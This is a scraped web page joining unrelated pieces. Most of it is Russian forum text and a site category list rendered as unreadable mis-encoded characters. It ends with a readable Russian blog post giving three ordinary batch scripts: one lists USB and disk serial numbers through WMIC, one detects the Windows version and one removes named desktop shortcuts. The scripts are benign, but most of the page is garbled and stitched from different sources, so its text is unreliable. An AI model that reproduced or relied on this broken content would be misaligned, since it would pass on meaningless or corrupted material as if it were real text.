[-HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsWindowsUpdate]

������� � ���������� ������� ���������� ����������� � ��������� ������ ��� ������.

1. ������ ��������� Cobian backup www.cobiansoft.com/cobianbackup.htm
2. ��������� ����������� ������ �� ���� ������, �� ������� ����� «backup» � ������� «backuptrololo», ��������� ��� � ������ ������� � �������� ����� ����� �� ������.
3. �� ����� �� ������/��������/nas ����� ������� ������ ������������ (��� ��������� ������) � ������� �����/���� ��� ��������� �����, ������ �� ������ ���� (��� ������� � �� ������ ����) ���� ������ ����� backup
4. ����������� ��������� ����������� �� ����� ����� backup, ������������ ��� ������ �� ��� ����������� �����.

������ ������ ������� ��������, ���� ��������� ��������� + �������� ������ �� ������������� ����� �������������� � ������ ���������� �����

� ��������� ���������� ����:
208655429-userbackup.cmd   (1 Kb)   ������� ����

����� ������ ������� ���������� ����� ��������� ����. ������� ���������, ��������� ������ , �������������� ����������, ������ � �������� , ������� ����������� �������������� ��������� ������ , ��������, � ���� ��������.

���� ����� � ������������ ������� ��������

������ �����ݣ����� �� ���������� ���, ������ ������ �� �����, ���� ��������� ����� ������� ������, ������ ��� � ����� ��� � ������, �������� � ������� �����. ������� ������ ������� ������� � ������ �����.

�� ������� WinXP ���� ��������� Shadow User. � ������� ����� ���� ��������� ��� ������, ��������� ������, ����� ���� ������ ������� ����� C:Windows. ����� ������������ �ӣ ��� �� � ޣ� �� ������. � ��������� ��������� ��� ����� �� ��������������, �� ����� ������� ����…

������������ �������, ��������� DeepFrize. ������������ ��������� ����, ����� ������, ����������������� «��������������» ��. �� ������� ��������� ����� � ��� ��������� �� ������ ����. ����� ������ �� ������� ����� � � ���� ���������� ��� ��������, ��� ����������� ��������������. ��� �� ��� � ������� ��������� �� � ��� ��� ���� �������� �� ������������. ��������� ������ � ������� �� ������ ������������ ����� �� 1�� � ����, ������ ������������. ������ ����������� � ��������. � ��������. ������� ������ ���.

� Shadow User ����� ���� ������� ����� ��������� � ������̣���� ��������� �����������.

��� ��� «���������» ���������� ����, ��������� �� �����������.

����� �� ���������
����� ������ ������� ������������ �������������

����� �� ������� ������� ���� ����. ��� ���� ���� ����������� �� ����������� � ��� ��� ������ ���� �����. �� ������ ������ �������������� ���� �����, ����������� �ӣ. �� ��?

��� ������� �� changelog-a:

����� ����:
+ ����� Media Engagement Statistics �������� � ������ Internet (Google Chrome).

���������:
�������� �������� ���
* �������� Temporary Internet Files � ������� Internet (Google Chrome);
* �������� Cache Files � ������� Internet (Microsoft Edge) section;
* �������� Cookies � ������� Internet (Mozilla Firefox);
* �������� Temporary Internet Files � History � �������� Internet (Mozilla Firefox).

* ����������� �������� ��� �������� Temporary Internet Files, Cookies � History � ������� Internet (Mozilla Firefox).

����������� �������� ���
* ��������� Firefox � Opera, ������������� ��� ���������������� ����������;
* Skype.

����������� � �������� �������� ���
* �������� Temporary Internet Files � History � ������� Internet (Opera);
* �������� Chat History � ������� Internet (Skype);
* ������� Recent Files � Recent Places �� ��������� Microsoft Excel, Microsoft PowerPoint � Microsoft Word � ������� Application Traces;
* �������� Problem Reports � ������� System.

������������� ������ ������� ������, ��� ��� �������������. ����� ������� ���, ����� ������ ������ �� ����� ������ ���, �� ���� ������ ���������, �� ����� �� ����� �� ���� �� ������������� ���������� �� �����.

������� ������� �����(�)
������������� ������ ������� ������

��ģ�������� ���� �� ���������, ����������� ���� � �����������. � � ���� ������ ������� �������������� �������.
��� ���� ����� ������, ţ ������������ ����� =)

� ���� �������������� ������� �������� ����� ��� ����������� ����

��, ��� ������� ���� �� �������
������ ������� �����

�� ����� �� ��� �������� ? � ������ ������� �� ���� ����� )

�� ��� ������ �� �� ������ ����� �����������, ��������-�� � �����-������ ���� �� RDP ����������, �������� � 3D…

���� ) ������� �������� ) �� ����������� ���

������������, ��� ������, ���� �� ��������������� �������� USB ���������, �������� �� ��� ATOL:
1. �������� ����� �������������� ��������� � ����������.
��� ����� � ��������� ������ ���������:
set devmgr_show_nonpresent_devices=1
��������� ��������� ���������
start devmgmt.msc
� ���� «���» ������ «�������� ������� ����������»
2. ����� ���������� USB ����������, ������� ������������ ����� ������. ������� ��, �.�. ��� ����� ���� ������-����� �������������� ������, ��� USB 3G ������.
3. ������������� ���������.

������ rar.exe ���� ���-�� ���������

� winrar.exe ����� ��� �� ��������. ������� �� ���������� ��������� ������ � ������� ������������ — ����� �� ���� ���� � ���� ��������/�������.

������ ������ � ��� �� �������� ��� � winrar ;-) ….

� �������� �� NN.RU

� ��� ���� ��� ������ �� NN.RU, ������� ������ �� ���� �� ����� ���� ����������.

�������������� �������, ����� ����� ����� ������.

� ���������� �����

����������

������� �������� �������
��������� ������
��������� �����
����������� / Covid-19
��������� ����� ��� ��������
������������� ��������
�������� �����
������� �����
�������
��������� ����������� �����
�������� �������
����������
��������� �������
������� �� �����
��� �����
4�4 �����
��������
������� �����
�����
������������
�������� �����
KIA-�����
���� �����
Hyundai �����
VAG �����
������ �������
����� ������: �������������� �����
����-�������� (�� ���� �������, ��������)
���������� �������
���������� �������: �����������
���������� �������: ��������
���������� �������: �������
���������� �������: ���� � �����
���������� �������: ������
���������� �������: ���� ����������, �������
���������� �������: ������
���������� �������: �������
���������� �������: ���������
���������� �������: �����
���������� ��������-�������
�������� ������
�������� ������: ��������
�������� ������: ������� ������ (��������)
�������� ������: ����-��� (�������)
�������� ������: �������
�������� ������: ���������
�������� ������: ���� ����������, �������
�������� ������: ��������
�������� ������: ������
�������� �������
�������� ������� — ����� �������
�������� ������� — ��������
�������� ������� — �������
�������� ������� — ���� ����������, �������
�������� ������� — ����������
����� �������
��� �����
��� ����� — ��������
��� ����� — ����������. �����
��� ����� — ����������: ������� ������
��� ����� — ����������: ������� �����
��� ����� — ����������: ������� ���������, �������, ������
��������
�������� (��������)
������ � ��. ��������
������� (������� ����������� �������)
������
�����������
�������� �����
������� ��������
����������� �����
�����������
��������� �����
����� ���������� �����
������. ��������.
������� �������
����������
��������� ��������
������ �� ���������
���������� �����
������� � ����
�����������
���� �����
������������� � �������������
����������
���������
�������� �����
�����, ������, ����������
���������
��������
�������� ��������
������ �����
����������
�����������
����������� �����
������� �����
������� �����: ��������
������� �����: �������� ��������
���� ����
���� ����
�������� �����
������ ����
�����������
��������-��
GPS �����
��������� �����
�����-�����
���������
����. � ������ ������
������ �����
������� � PR
����������
������������
���������� �����
��������
����� ���������
������� � �����
�����������
�����������
������ ���������
������������ ��
������������ ������
������������ ����� (��������)
����
����� ����������
������
����������������� � ����������
����� ������������ ����������
����� ���������������
��� ������������ ������
������, �����, �������
������, �����, �������
���������� ������
���� �����������
�������������
������ ���������
���������� ������� ���������
��������� ������� ���������
�����������
������������� �������
������������
������������
�������
��������� �����
���
������������� ������������
����� ������
������������� �����
���������� �����
��������� �����
��� ������ �������
������ �����
�������
����� ���������
������ �� (��. ����� ����������)
���������� ��
��������� �� (������������� ��.)
���������� ������� ��
�� ������������� ���� ��
������� ������ �� (��������� �����)
������� ���� �� (��������� �-��)
������ �� (����������� �-��)
�� �������� �� (�������� ��., � ���� 18)
������ ����� �� (�. �������)
����� �� (��. ��������� ��������)
������� ������ �� (��������� �-��)
������� �� (��������� �-��)
�� ���. (����� �������)
����������� ������ ���.
������������ ���.
����� ����� ���. (60-��� ������� ��.)
����� �� (�������� ��.)
������� ���� ��
��� ������ �����
������� ������
��������� �����
��������� ���� �����������
������� �� ����� iHerb
�������� �������
���������� � �������� �������
����� �������� ����
������ �����
����������� ������ ������
��� ������ ���������!
������-�������� �����-�������
����� ����������
������������
����� �������
������������ ���� ��������
������� ��� �����
���� �����!
����������� �����
������-��������
�����������
����� ������������ �����
��������
����� �����������
����� ����������
����� ����� �����������
������ � ����������� (������������)

�� ������ ������� ������ �� �������.
���������� ���������������� ������.

Страницы 1 2 Далее

Чтобы начать тему, нужно войти или зарегистрироваться

Темы в этом разделе, подробности: , просмотров, последнее сообщение.

  • 51,234 просмотров
  • Последнее сообщение 2011-09-14 20:35:12 alexii
  • 1,243 просмотров
  • Последнее сообщение 2022-07-08 00:14:56 Poltergeyst
  • 657 просмотров
  • Последнее сообщение 2022-05-10 02:34:41 Rumata
  • 1,122 просмотров
  • Последнее сообщение 2021-12-03 23:59:57 greg zakharov
  • 12,546 просмотров
  • Последнее сообщение 2021-10-30 01:19:06 Rumata
  • 1,620 просмотров
  • Последнее сообщение 2021-10-19 20:48:15 Rumata
  • 761 просмотров
  • Последнее сообщение 2021-10-18 12:43:33 Rumata
  • 615 просмотров
  • Последнее сообщение 2021-08-23 21:24:54 greg zakharov
  • 3,087 просмотров
  • Последнее сообщение 2019-08-05 21:22:08 Rumata
  • 5,758 просмотров
  • Последнее сообщение 2018-09-20 07:24:05 Rumata
  • 3,063 просмотров
  • Последнее сообщение 2016-10-30 02:48:16 Rumata
  • 20,125 просмотров
  • Последнее сообщение 2014-01-15 10:58:53 Rumata
  • 8,018 просмотров
  • Последнее сообщение 2013-10-23 23:01:00 wisgest
  • 31,589 просмотров
  • Последнее сообщение 2013-08-27 18:56:38 Rumata
  • 16,451 просмотров
  • Последнее сообщение 2013-01-06 11:43:59 wisgest
  • Нет просмотров
  • Нет сообщений
  • Нет просмотров
  • Нет сообщений
  • 31,410 просмотров
  • Последнее сообщение 2012-12-19 09:20:13 wisgest
  • 10,232 просмотров
  • Последнее сообщение 2012-08-22 02:19:11 Аскет
  • 6,821 просмотров
  • Последнее сообщение 2011-09-28 05:31:27 alexii
  • 9,463 просмотров
  • Последнее сообщение 2010-11-21 20:58:18 alexii
  • 20,235 просмотров
  • Последнее сообщение 2010-10-21 10:18:52 alexii
  • 6,294 просмотров
  • Последнее сообщение 2010-10-01 21:08:08 The gray Cardinal
  • 59,106 просмотров
  • Последнее сообщение 2010-06-10 21:24:05 Poltergeyst
  • 13,149 просмотров
  • Последнее сообщение 2010-05-24 03:00:39 alexii
  • 7,542 просмотров
  • Последнее сообщение 2010-01-28 03:11:32 Rumata
  • 9,368 просмотров
  • Последнее сообщение 2010-01-25 23:03:11 Rumata
  • 83,448 просмотров
  • Последнее сообщение 2010-01-21 22:48:50 Rumata
  • 6,121 просмотров
  • Последнее сообщение 2009-12-09 11:46:27 alexii
  • 8,474 просмотров
  • Последнее сообщение 2009-11-04 01:54:57 alexii

Страницы 1 2 Далее

Чтобы начать тему, нужно войти или зарегистрироваться

Написал admin. Опубликовано в рубрике Операционные системы

bat-file-iconЗдравствуйте, уважаемые читатели блога MyFirstComp.ru. В сегодняшней статье я решил сделать небольшую подборку готовых bat-файлов, которые, на мой взгляд, довольно интересные, и могут пригодиться как новичкам, так и опытным пользователям. Напомню, чтобы создать bat-файл, необходимо открыть Блокнот, и скопировать туда содержимое, которое будет приведено ниже. После этого нажимаем Файл/Сохранить как, и присваиваем файлу расширение bat, например так: program.bat.

сохраняем как bat

Также можно запрограммировать выполнение «батника» на какой-то определенный день или время с помощью планировщика заданий.

Скажу сразу, что приведенные ниже примеры не претендуют на оригинальность и новизну, и, возможно, вы встречали их ранее. Но, тем не менее, я считаю их полезными, и хочу, чтобы вы с ними ознакомились. Надеюсь, авторы не будут против обнародования их интеллектуальной собственности:).

1. Получаем серийные номера всех съемных устройств и физических жестких дисков, а также имена разделов физических накопителей.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
@echo off&amp;:: by Alex Dragokas
Setlocal EnableDelayedExpansion EnableExtensions
Echo.
::Получаем PNPDeviceID и PhysicalDrive Name устройств, подключенных по интерфейсу USB
echo Перечень cъемных накопителей:
echo.
For /F "Skip=2 Tokens=2-4 delims=," %%i In (
  'WMIC DiskDrive Where InterfaceType^="USB" Get Name^,PNPDeviceID^,Model /Value /format:csv 2^&gt;nul'
) do (
    Set AtLeastOneDevice=true
    Call :Get_USB_SN "%%k" Device_SN
    Call :GetPartition "%%j" Drives
    Echo Model: %%i
    Echo %%j
    Echo Disk^(s^):     !Drives!
    Echo Device S/N:         "!Device_SN!"
    Echo.
)
if not defined AtLeastOneDevice Echo Съемных USB накопителей не обнаружено.
Echo.
Echo Перечень жестких дисков:
Echo.
For /F "Skip=2 Tokens=2-4 delims=," %%i In (
  'WMIC DiskDrive Where "InterfaceType^!^='USB'" Get Name^,PNPDeviceID^,Model /Value /format:csv'
) do (
    Call :GetPartition "%%j" Drives
    Call :Get_HDD_SN "%%j" Device_SN
    Echo Model: %%i
    Echo %%j
    Echo Disk^(s^):     !Drives!
    Echo Device S/N:         "!Device_SN!"
    Echo "!Device_SN!"&gt;&gt;%~dp0file.txt
    Echo.
)
pause&gt;nul
Goto :eof
 
::Парсим часть с серийным номером устройства
:Get_USB_SN %1-in.PNPDeviceID %2-out.Device_S/N
  Set "%~2="
  Set "PNP=%~1"
  Set "PNP=%PNP:=" "%"
  Set "PNP=%PNP:;=" "%"
  Set "PNP=%PNP:&amp;=" "%"
  Set _Prev=
  For %%i in ("%PNP%") do (
    if "!_Prev:~0,4!"=="REV_" (Set "%~2=%%~i"&amp; Exit /B)
    Set "_Prev=%%~i"
  )
  Exit /B
 
:Get_HDD_SN %1.in-PhysicalDrive_Name %2-out.Device_S/N
  Set "tag=%~1"
  Set "tag=%tag:=\%"
  For /F "UseBackQ skip=2 tokens=2 delims=," %%i In (
    `wmic path Win32_PhysicalMedia where "tag='%tag%'" Get SerialNumber /format:csv`
  ) do call set "_serial=%%i"
  ::Выше используется Call, чтобы удалить служебный символ 0x0D из переменной
  set "_serial=%_serial: =%"
  ::Проверяем признак 16-ричного кода (ответ длинной 40 символов)
  if "%_serial:~39,1%" neq "" Call :Hex_To_String "%_serial%" "_serial"
  set "%~2=%_serial%"
  Exit /B
 
:Hex_To_String %1-in.Reversed.Hex.Number %2-out.String
  SetLocal&amp; set "x16=%~1"
  set n=45
  for %%A in (- . / 0 1 2 3 4 5 6 7 8 9) do set s.!n!=%%A&amp; set /a n+=1
  set n=65
  for %%A in (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) do set s.!n!=%%A&amp; set /a n+=1
  set n=97
  for %%A in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do set s.!n!=%%A&amp; set /a n+=1
  set xs=
  for /L %%C in (0,4,8184) do (
    if "!x16:~%%C,1!"=="" goto _ex_Hex
    set /A cplus=%%C+2
    call set /A x10=0x%%x16:~!cplus!,2%%
    call set xs=!xs!%%s.!x10!%%
    set /A x10=0x!x16:~%%C,2!
    call set xs=!xs!%%s.!x10!%%
  )
  :_ex_Hex
  EndLocal&amp; set "%~2=%xs%"&amp; Exit /B
 
::Конвертация PhysicalDrive Name -&gt; Partition Names -&gt; Drive Names
  :GetPartition %1.in-PhysicalDrive_Name %2-out.Drive_Names
  Set "%~2="
  For /F "skip=2 delims==, tokens=3,6-7" %%i In (
    'WMIC path Win32_DiskDriveToDiskPartition get /format:csv'
  ) do (
    if %%i=="%~1" (
      For /F "skip=2 delims==, tokens=3-4,7" %%I In (
        'WMIC path Win32_LogicalDiskToPartition get Antecedent^,Dependent /format:csv'
      ) do (
        if "%%I,%%J"=="%%j,%%k" Set "%~2=!%~2! %%K"
  )))
  Exit /B

2. Определяем версию, разрядность и сборку операционной системы.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
@echo off
SetLocal EnableExtensions
 
Call :GetSystemVersion "OSVer" "Core" "Build"
Echo Your operating system: %OSVer% %Core% %Build%
 
pause
goto :eof
 
:GetSystemVersion
:: Определить версию ОС
:: %1-исх.Переменная для хранения названия ОС
:: %2-исх.Переменная для хранения разрядности ОС
:: %3-исх.Переменная для хранения версии сборки ОС
  If /i "%PROCESSOR_ARCHITECTURE%"=="x86" (set %~2=x32) else (set %~2=x64)
  For /F "delims=" %%a in ('ver') do set _ver=%%a
  Set _ver="%_ver: =" "%"
  For %%a in (%_ver%) do set _ver=%%~a
  for /F "delims=]" %%a in ("%_ver%") do set %~3=%%a
  set _ver=%_ver:~0,3%
  SET %~1=Unknown
  if "%_ver%"=="5.0" SET %~1=Windows 2000
  if "%_ver%"=="5.1" SET %~1=Windows XP
  if "%_ver%"=="5.2" SET %~1=Windows 2003
  if "%_ver%"=="6.0" (
    Reg.exe query "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersion" /v "ProductName"|&gt;nul Find /i "Vista"&amp;&amp;(
    SET %~1=Windows Vista) || (SET %~1=Windows 2008)
  )
  if "%_ver%"=="6.1" SET %~1=Windows 7
  if "%_ver%"=="6.2" SET %~1=Windows 8
  if "%_ver%"=="6.3" SET %~1=Windows 8.1
  set _ver=
Exit /B

3. Удаляем ярлыки с рабочего стола.

1
2
3
4
5
6
7
8
9
10
11
@echo off
chcp 1251
setlocal
set files=Русс.lnk 1111*.lnk *z.lnk
%homedrive%
if exist "%homedrive%%homepath%desktop" (set homedesk=desktop) else (set homedesk=Рабочий стол)
if exist "%public%" (set comdesk=%public%%homedesk%) else (set comdesk=%allusersprofile%%homedesk%)
chdir "%homedrive%%homepath%%homedesk%"
for %%a in (%files%) do (echo del /q "%%a"&amp;echo del /q "%comdesk%%%a" &gt;nul)
endlocal
chcp 866

Подписывайся на канал MyFirstComp на YouTube!

Загрузка…

Теги: bat-файлы, батник

Трекбэк с Вашего сайта.

Понравилась статья? Поделить с друзьями:
  • Готовим компьютер к продаже сброс windows 7
  • Готовая сборка web сервера windows server
  • Готовая загрузочная флешка windows 7 10 с утилитами стрелец
  • Готовая загрузочная флешка windows 7 10 с утилитами скачать без торрента
  • Готовая загрузочная флешка windows 7 10 с утилитами 2021